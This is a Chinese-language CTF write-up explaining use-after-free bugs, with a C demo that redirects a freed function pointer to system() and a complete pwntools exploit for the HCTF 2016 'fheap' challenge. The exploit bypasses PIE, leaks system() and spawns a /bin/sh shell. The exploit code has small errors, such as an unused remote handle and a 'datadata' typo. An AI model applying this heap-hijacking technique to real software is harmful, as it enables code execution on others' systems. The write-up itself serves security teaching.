逆向安全系列:Use After Free漏洞淺析
一、前言
想著接下來要寫一個use after free的小總結,剛好碰巧最近的湖湘杯2016的一題----game利用use after free可以解出來。這題是自己***次在比較正式的比賽中做出pwn題,做這題的時間花了不少,效率不高,但自己還是蠻開心的,后面回頭做hctf2016的fheap這題,也可以用uaf解出來,game這題題目的復雜度稍微高一點,描述起來有點難,下面主要是用hctf的這道題來給大家講述原理。對于uaf漏洞,搜了下,uaf漏洞在瀏覽器中存在很多,有興趣的同學可以自己去查查。
二、uaf原理
uaf漏洞產生的主要原因是釋放了一個堆塊后,并沒有將該指針置為NULL,這樣導致該指針處于懸空的狀態,同樣被釋放的內存如果被惡意構造數據,就有可能會被利用。先上一段代碼給大家一個直觀印象再具體解釋。
- #include <stdio.h>
- #include <stdlib.h>
- typedef void (*func_ptr)(char *);
- void evil_fuc(char command[])
- {
- system(command);
- }
- void echo(char content[])
- {
- printf("%s",content);
- }
- int main()
- {
- func_ptr *p1=(int*)malloc(4*sizeof(int));
- printf("malloc addr: %p\n",p1);
- p1[3]=echo;
- p1[3]("hello world\n");
- free(p1); //在這里free了p1,但并未將p1置空,導致后續可以再使用p1指針
- p1[3]("hello again\n"); //p1指針未被置空,雖然free了,但仍可使用.
- func_ptr *p2=(int*)malloc(4*sizeof(int));//malloc在free一塊內存后,再次申請同樣大小的指針會把剛剛釋放的內存分配出來.
- printf("malloc addr: %p\n",p2);
- printf("malloc addr: %p\n",p1);//p2與p1指針指向的內存為同一地址
- p2[3]=evil_fuc; //在這里將p1指針里面保存的echo函數指針覆蓋成為了evil_func指針.
- p1[3]("whoami");
- return 0;
- }
這段代碼在32位系統下執行。通過這段代碼可以大概將uaf的利用過程小結為以下過程:
1、申請一段空間,并將其釋放,釋放后并不將指針置為空,因此這個指針仍然可以使用,把這個指針簡稱為p1。
2、申請空間p2,由于malloc分配的過程使得p2指向的空間為剛剛釋放的p1指針的空間,構造惡意的數據將這段內存空間布局好,即覆蓋了p1中的數據。
3、利用p1,一般多有一個函數指針,由于之前已使用p2將p1中的數據給覆蓋了,所以此時的數據既是我們可控制的,即可能存在劫持函數流的情況。
三、hctf2016--fheap
uaf原理還比較簡單,下面就是具體的實踐了,這個漏洞復雜一些的話就和double free這些其他的堆的常見利用方法合起來一起出題,具體的可以看bctf2015的freenote。不過fheap這題用uaf直接就解決了。還有就是湖湘杯2016的game題,和fheap基本上是一樣的,這題大家跟出來了的話可以去做下game試下。先介紹fheap的功能。
A、程序功能
程序提供的功能比較簡單,總共兩個功能:
1、create string
輸入create 后,接著輸入size,后輸入具體的字符串。相關的數據結構則是:先申請0x20字節的堆塊存儲結構,如果輸入的字符串長度大于0xf,則另外申請對應長度的空間存儲字符串,否則直接存儲在之前申請的0x20字節的前16字節處,在***,會將相關free函數的地址存儲在堆存儲結構的后八字節處。相關示意圖描繪如下:
2、delete string
調用存儲在結構體里的free_func這個指針來釋放堆,由于在釋放以后沒有將指針置空,出現了釋放后仍可利用的現象,即uaf。
B、查看防護機制
首先查看開啟的安全機制
可以看到開啟了PIE,在解題的過程中還需要繞過PIE,PIE是指代碼段的地址也會隨機化,不過低兩位的字節是固定的,利用這一點我們可以來泄露出程序的地址。
C、利用思路
總思路:首先是利用uaf,利用堆塊之間申請與釋放的步驟,形成對free_func指針的覆蓋。從而達到劫持程序流的目的。具體來說,先申請的是三個字符創小于0xf的堆塊,并將其釋放。此時fastbin中空堆塊的單鏈表結構如下左圖,緊接著再申請一個字符串長度為0x20的字符串,此時,申請出來的堆中的數據會如下右圖,此時后面申請出來的堆塊與之前申請出來的1號堆塊為同一內存空間,這時候輸入的數據就能覆蓋到1號堆塊中的free_func指針,指向我們需要執行的函數,隨后再調用1號堆塊的free_func函數,即實現了劫持函數流的目的。
1、繞過PIE,在能劫持函數流之后,首先是泄露出程序的地址以繞過PIE,具體的方法是將free_func指針的***位覆蓋成"\x2d",變成去執行fputs函數,***變成去打印出free_func的地址,從而得到程序的基地址等。
2、泄露system函數地址,首先有了程序的地址后,可以得到printf函數的plt地址,從而想辦法在棧中部署數據,使用格式化字符串打印出我們需要的地址中的內容,使用DynELF模塊去泄露地址,具體可以看安全客之前有人寫的一篇文章---借助DynELF實現無libc的漏洞利用小結。從而泄露出system函數的地址。
3、執行system("/bin/sh")
最終調用system函數開啟shell。
D、最終exp
exp最終如下,里面還有部分注釋。
- from pwn import *
- from ctypes import *
- DEBUG = 1
- if DEBUG:
- p = process('./fheap')
- else:
- r = remote('172.16.4.93', 13025)
- print_plt=0
- def create(size,content):
- p.recvuntil("quit")
- p.send("create ")
- p.recvuntil("size:")
- p.send(str(size)+'\n')
- p.recvuntil('str:')
- p.send(content.ljust(size,'\x00'))
- p.recvuntil('\n')[:-1]
- def delete(idx):
- p.recvuntil("quit")
- p.send("delete "+'\n')
- p.recvuntil('id:')
- p.send(str(idx)+'\n')
- p.recvuntil('sure?:')
- p.send('yes '+'\n')
- def leak(addr):
- delete(0)
- #printf函數格式化字符串打印第九個參數地址中的數據,第九個剛好是輸入addr的位置
- data='aa%9$s'+'#'*(0x18-len('aa%9$s'))+p64(print_plt)
- create(0x20,data)
- p.recvuntil("quit")
- p.send("delete ")
- p.recvuntil('id:')
- p.send(str(1)+'\n')
- p.recvuntil('sure?:')
- p.send('yes01234'+p64(addr))
- p.recvuntil('aa')
- data=p.recvuntil('####')[:-4]
- data += "\x00"
- return data
- def pwn():
- global print_plt
- create(4,'aa')
- create(4,'bb')
- create(4,'cc')
- delete(2)
- delete(1)
- delete(0)
- #申請三個堆塊,隨后刪除,從而在fastbin鏈表中形成三個空的堆塊
- #part1 覆蓋到fputs函數,繞過PIE
- data='a'*0x10+'b'*0x8+'\x2D'+'\x00'#***次覆蓋,泄露出函數地址。
- create(0x20,data)#在這里連續創建兩個堆塊,從而使輸入的data與前面的塊1公用一塊內存。
- delete(1)#這里劫持函數程序流
- p.recvuntil('b'*0x8)
- data=p.recvuntil('1.')[:-2]
- if len(data)>8:
- datadata=data[:8]
- data=u64(data.ljust(8,'\x00'))-0xA000000000000 #這里減掉的數可能不需要,自行調整
- proc_base=data-0xd2d
- print "proc base",hex(proc_base)
- print_plt=proc_base+0x9d0
- print "print plt",hex(print_plt)
- delete(0)
- data='a'*0x10+'b'*0x8+'\x2D'+'\x00'
- create(0x20,data)
- delete(1)
- p.recvuntil('b'*0x8)
- data=p.recvuntil('1.')[:-2]
- #part2 使用DynELF泄露system函數地址
- d = DynELF(leak, proc_base, elf=ELF('./fheap'))
- system_addr = d.lookup('system', 'libc')
- print "system_addr:", hex(system_addr)
-
- #parts 執行system函數,開啟shell
- delete(0)
- data='/bin/sh;'+'#'*(0x18-len('/bin/sh;'))+p64(system_addr)
- create(0x20,data)
- delete(1)
- p.interactive()
-
- ####
- #利用的方式總結為
- #delete(0),將申請出來的堆塊添入到fastbin中
- #create(0x20,data),連續申請兩個堆塊,數據覆蓋1堆中的free_func指針
- #delete(1)劫持函數流,調用我們覆蓋的指針處的地址
- ###
-
- if __name__ == '__main__':
- pwn()
執行結果
四、小結
我感覺UAF最主要的是,在釋放了堆塊以后沒有將指針置空,后續過程中內存空間數據被覆蓋為其他數據后,該指針仍然可以正常使用該內存,從而導致數據的誤用。ctf題中容易碰見的是,釋放的堆塊中原本某個區域是用來存儲函數指針的,后面被惡意構造的數據覆蓋成其他地址實現了劫持函數流的目的,從而有可能就被pwn掉了。